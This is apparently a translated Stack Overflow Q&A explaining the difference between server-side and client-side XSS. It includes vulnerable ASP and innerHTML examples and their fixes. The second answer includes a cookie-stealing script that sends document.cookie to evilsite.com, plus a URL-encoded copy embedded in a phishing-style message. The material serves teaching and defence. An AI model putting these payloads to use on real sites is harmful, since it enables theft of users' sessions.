对服务器XSS和客户端XSS之间的区别有什么明确的解释?
我在OWASP的网站上阅读了解释,但对我来说并不是很清楚。我知道反映的,存储的en DOM类型。
答案 0 :(得分:7)
首先,要为找到问题的其他人设置场景,我们会在OWASP Types of Cross-Site Scripting页面中显示文字:
服务器XSS
当不受信任的用户提供的数据包含在服务器生成的HTML响应中时,就会发生服务器XSS。的来源 这些数据可以来自请求,也可以来自存储的位置。如 这样,您可以同时拥有Reflected Server XSS和Stored Server XSS。
在这种情况下,整个漏洞都在服务器端代码中,而且 浏览器只是渲染响应并执行任何有效的 嵌入其中的脚本。
客户端XSS
当使用不受信任的用户提供的数据进行更新时,会发生客户端XSS DOM带有不安全的JavaScript调用。 JavaScript调用是 如果它可用于引入有效的JavaScript,则被认为是不安全的 DOM。这个数据的来源可以来自DOM,也可以 已由服务器发送(通过AJAX调用或页面加载)。该 数据的最终来源可能来自一个请求,也可能来自一个 存储在客户端或服务器上的位置。因此,你可以拥有 反射客户端XSS和存储客户端XSS。
这将XSS重新定义为两类:服务器和客户端。
服务器XSS意味着数据直接从服务器进入页面。例如,包含未清理文本的数据来自构成易受攻击页面的HTTP响应。
客户端XSS意味着数据来自操纵页面的JavaScript。因此,JavaScript是将未经过处理的文本添加到页面中,而不是在首次在浏览器中加载时位于该位置的页面中。
ASP(或ASP.NET)页面在生成时向HTML页面输出一个变量,该变量直接从数据库中获取:
<%=firstName %>
由于firstName
不是HTML编码,恶意用户可能已将其名字输入为<script>alert('foo')</script>
,从而导致XSS攻击成功。
另一个例子是在没有事先存储的情况下通过服务器处理的变量输出:
<%=Request.Form["FirstName"] %>
<script type="text/javascript">
function loadXMLDoc() {
var xmlhttp;
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
} else {
// code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 ) {
if(xmlhttp.status == 200){
document.getElementById("myDiv").innerHTML = xmlhttp.responseText;
}
else if(xmlhttp.status == 400) {
alert('There was an error 400')
}
else {
alert('something else other than 200 was returned')
}
}
}
xmlhttp.open("GET", "get_first_name.aspx", true);
xmlhttp.send();
}
</script>
请注意,我们的get_first_name.aspx
方法不会对返回的数据进行编码,因为它是一种也被其他系统使用的Web服务方法(content-type
设置为text/plain
)。我们的JavaScript代码将innerHTML
设置为此值,因此它容易受到客户端XSS的攻击。为避免此实例中的客户端XSS,应使用innerText
而不是innerHTML
,这将不会导致HTML字符的解释。使用textContent
会更好,因为Firefox与非标准innerText
属性不兼容。
*代码改编自this answer。
答案 1 :(得分:1)
SilverlightFox已经很好地解释了一切,但我想补充一些例子。
服务器XSS:
所以我们说,我们发现了一个易受攻击的网站,它没有正确处理评论框文本。我们创建一个新评论并输入:
<p>This picture gives me chills</p>
<script>img=new Image();img.src="http://www.evilsite.com/cookie_steal.php?cookie="+document.cookie+"&url="+document.domain;</script>
我们还创建了一个PHP脚本,将GET值保存到文本文件中,然后我们可以继续窃取用户的cookie。每次有人加载注入的评论时,cookie都会被发送,甚至不需要看到它(只能看到&#34;这张图片让我感到寒意&#34;评论)。
客户XSS:
我们说我们找到了一个网站,它有易受攻击的搜索栏,并解析我们搜索到页面的HTML。要测试它,只需搜索:
<font color="red">Test</font>
如果搜索结果显示单词&#34; Test&#34;在红色中,搜索引擎容易受到客户端XSS的攻击。攻击者随后使用该网站用户的个人消息/电子邮件,向用户发送无辜的网址。这看起来像是:
Hello, I recently had a problem with this website's search engine.
Please click on following link:
http://www.vulnerable-site.com/search.php?q=%3C%73%63%72%69%70%74%3E%69%6D%67%3D%6E%65%77%20%49%6D%61%67%65%28%29%3B%69%6D%67%2E%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%65%76%69%6C%73%69%74%65%2E%63%6F%6D%2F%63%6F%6F%6B%69%65%5F%73%74%65%61%6C%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2B%22%26%75%72%6C%3D%22%2B%64%6F%63%75%6D%65%6E%74%2E%64%6F%6D%61%69%6E%3B%3C%2F%73%63%72%69%70%74%3E
当任何人点击该链接时,代码将从他们的浏览器启动(其编码为URL字符,因为否则用户可能会怀疑网站网址中的脚本),与上面的脚本做同样的事情 - &gt;窃取用户的cookie。
但是,如果您在没有网站批准的所有者的情况下使用此功能,那么您将违反法律规定。 记住这一点,并使用我的示例修复您网站上的XSS漏洞。